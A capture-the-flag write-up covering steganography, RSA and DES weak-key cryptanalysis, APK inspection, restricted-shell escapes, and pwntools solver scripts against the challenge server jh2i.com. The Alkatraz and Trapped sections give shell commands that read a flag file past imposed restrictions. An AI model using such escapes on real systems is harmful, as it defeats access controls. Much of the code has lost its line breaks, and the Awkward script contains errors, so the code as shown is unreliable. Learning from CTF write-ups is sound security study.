**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:

**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:

but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:

during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:

**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:

this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:

bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:

***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :

furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:

but if we look at a regular PNG file or Zip file we get the following bytes frequency:

we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:

**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:

it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:

## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:

we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:

now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:

I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:

and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:

## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:

**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:

it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:

## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:

this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:

**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:

so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:

after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:

and the file contains our flag:

## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:

## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:

## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...

...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:

## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:

seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):

## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:

I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:

## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:

It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:

actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
